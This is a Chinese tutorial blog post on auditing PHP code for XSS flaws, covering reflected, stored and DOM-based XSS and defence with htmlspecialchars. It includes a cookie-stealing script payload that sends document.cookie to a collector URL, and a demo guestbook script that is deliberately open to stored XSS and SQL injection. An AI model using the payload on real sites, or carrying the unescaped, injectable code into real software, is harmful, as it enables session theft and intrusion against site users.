PHP代码审计————10、PHP代码审计之XSS

本文介绍了XSS漏洞的三种类型:反射型、存储型和基于DOM的XSS,并详细阐述了每种类型的攻击方式及防御措施。针对存储型XSS,还提供了具体的代码示例和SQL注入防范方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XSS漏洞大致分为三种

  • 反射型XSS漏洞
  • 存储型XSS漏洞
  • 基于DOM的XSS漏洞

反射型XSS漏洞

它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行

它的特点是非持久化,必须用户点击带有特定参数的链接才能引起该漏洞的触发

变量直接输出

<?php

    echo $_GET['xss'];

?>

$_SERVER变量参数

$_SERVER['PHP_SELF']

$_SERVER['HTTP_USER_AGENT']

$_SERVER['HTTP_REQUER']

$_SERVER['REQUEST_URI']

http请求格式

User-Agent:      可以通过User-Agent进行构造XSS

Referer:            可以通过Reference进行构造,主要是burp suite抓包操作,进行修改即可

利用

Ttest:<script>alert('xss');</script>

Cookie:

<script>var i=new Image;  i.src='http://127.0.0.1/xss.php?c="%2bdocument.cookie;"'</script>

modify headers

存储型XSS

持久化,代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,若干没有过滤或过滤不严,那么这些代码将存储到服务器数据库中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,窃取Cookie等。

审计SQL语句:

主要是update 、insert更新和插入语句。

内容输入输出没有被严格过滤或者过滤不严!

防御

htmlspecialchars函数

预定义的字符是:

&  ——————&amp;

"———————&quot;

'———————&#039

<———————&lt;

>———————&gt;

例如:

表:

CREATE TABLE `book` (
`id` int(5) NOT NULL auto_increment,
`title` varchar(32) NOT NULL,
`con` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gbk AUTO_INCREMENT=1 ;

<?php
mysql_connect('localhost','root','');
mysql_select_db('test');
mysql_query("set names gbk");
if(isset($_POST['submit'])){
$title=$_POST['title'];
$con=$_POST['con'];
$sql="INSERT INTO `book` (`id` ,`title` ,`con`)VALUES (NULL , '$title', '$con');";
if(mysql_query($sql)){
echo "留言成功";
}else{
echo "留言失败";
}
}else{
$sql="select * from book";
if($row=mysql_query($sql)){
while($rows=mysql_fetch_array($row)){
echo $rows['id'].$rows['title'].$rows['con']."<br>";
}
}
}
?>
<html>
<h1>暗月代码审计存储型 xss 漏洞演示</h1>
<form action="?action=insert" method="post">
标题:<input type="text" name="title"><br>
内容:<textarea name="con"></textarea>
<input type="submit" name="submit" value="提交">
<form>
</html>


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值